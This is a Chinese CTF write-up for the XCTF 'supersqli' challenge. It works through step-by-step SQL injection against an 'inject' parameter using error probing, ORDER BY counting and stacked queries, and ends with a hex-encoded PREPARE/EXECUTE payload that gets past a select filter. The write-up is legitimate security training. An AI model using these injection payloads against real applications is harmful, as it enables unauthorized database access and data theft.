xctf-web(高手进阶区)-supersqli

xctf:https://adworld.xctf.org.cn/


输入单引号,发现报错

在这里插入图片描述
返回正常:

/?inject=1' and 1=1--+

在这里插入图片描述

报错:

/?inject=1' and 1=2--+

在这里插入图片描述
order by 3 报错,order by 2正常

?inject=1' order by 2--+

在这里插入图片描述

利用select 去查看的出现正则匹配,不允许使用以下字符

在这里插入图片描述

可以使用堆叠注入的方式,查看当前数据库

?inject=1';show databases;--+

在这里插入图片描述
查看当前表:

/?inject=1';show tables;--+

在这里插入图片描述
查看words表的字段,发现没有flag:

/?inject=111';show columns from words;--+

在这里插入图片描述

再查看1919810931114514表中的字段,你会发现,直接使用show是查看不了的
在这里插入图片描述

原因:

  1. 表名或者字段有和mysql关键字或保留字相同的就必须使用反引号加以区分
  2. 表名如果是纯数字,那么必须用反引号

所以我们加上反引号对纯数字的表进行查看,发现flag字段:

/?inject=111';show columns from `1919810931114514`;--+

在这里插入图片描述

查询flag思路:

我们不能直接使用select进行查看flag,但可以利用一个叫动态查询语句的方法进行查看。动态查询也是需要用到select语句,但我们可以将sql语句转换成16进制,mysql会自动识别16进制并进行转化,存入一个sql语句变量中,再使用execute执行sql语句。

如果不理解动态查询语句的小伙伴可以先学习一下动态查询的用法:
MYSQL 动态查询结果
mysql 实现 mssql exec 动态查询语句

我们将sql语句转换成16进制:

在这里插入图片描述

payload:

/?inject=1';SeT@sql=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @sql;execute execsql;#
  • set@a:设定一个语句变量
  • prepare : 存储一个sql语句 存到execsql 里面
  • execute :执行一个sql语句

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/weixin_41924764/article/details/109694770